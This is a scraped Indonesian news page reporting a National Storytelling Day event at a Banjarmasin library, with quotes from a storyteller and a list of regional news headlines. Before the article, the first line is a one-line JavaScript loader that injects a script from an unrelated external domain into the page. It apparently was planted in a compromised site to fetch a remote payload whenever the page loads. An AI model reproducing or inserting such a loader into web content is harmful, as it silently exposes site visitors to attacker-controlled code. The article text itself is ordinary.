(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Palnam Berdongeng Dipenuhi Anak-anak, Dongeng Bisa Buat Siapa Saja


BANJARMASIN, Semarak Hari Dongeng Nasional digelar di Perpustakaan Palnam Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalsel, Kamis (28/11). Ratusan anak-anak yang didampingi orangtuanya ‘membanjiri’ Perpustakaan Palnam.

Salah satu pengisi acara, Enik Mintarsih mengatakan, dongeng sangat penting terutama melekatkan emosi anak dengan orangtua. Apalagi, dongeng tidak akan meracuni pikiran anak-anak, sepanjang isi dongeng mengandung pesan yang positif dan bermakna.

“Bisa juga untuk menanamkan nilai karakter pada anak lewat buku dan dongeng yang dibawakan oleh orangtuanya,” kata Bunda Enik -sapaan akrabnya-.

Apalagi, dongeng banyak metodenya. Tidak mesti harus berpatokan dengan buku atau cerita rakyat. “Bisa juga berimajinasi dengan benda-benda di sekitarnya. Misalnya waktu tidur kan ada boneka dan bantal, itu saja bisa dijadikan tokoh mendongeng, terutama harus sesuai anaknya,” jelasnya.

Bunda Enik mengapresiasi gelaran Hari Dongeng Nasional yang dihelat Dispersip Kalsel, apalagi meresponnya cukup positif. Apalagi, gelaran ini dilaksanakan bertepatan dengan Hari Dongeng Nasional, sebagai penghormatan kepada tokoh dongeng nasional, Pak Raden.

“Karena dongeng tidak hanya untuk anak usia dini. Pengalaman saya pernah mengisi di Panti Werdha untuk orang Lansia. Tapi ceritanya disesuaikan, tidak pukul rata. Pernah juga mengisi di Lapas perempuan,” jelasnya. Sehingga, dongeng mudah diterima oleh semua kalangan baik usia dini, dewasa hingga lanjut.

Bunda Enik berharap, budaya dongeng akan terus eksis dan dikembangkan di tengah kemajuan zaman. “Bangkitkan lagi Supaya nilai karakter yang didapat mulai dari rumah dan berlanjut ke sekolah dan lingkungan sekitar,” katanya.

Selain Bunda Enik, puncak Hari Dongeng Nasional juga diisi oleh pendongeng lainnya. Seperti Kak Irga dan Kak Jamal yang masing-masing membawakan tema dongeng yang berbeda-beda. (fikri)

Reporter : Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

15 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

19 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

21 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

22 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

22 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

1 hari ago

This website uses cookies.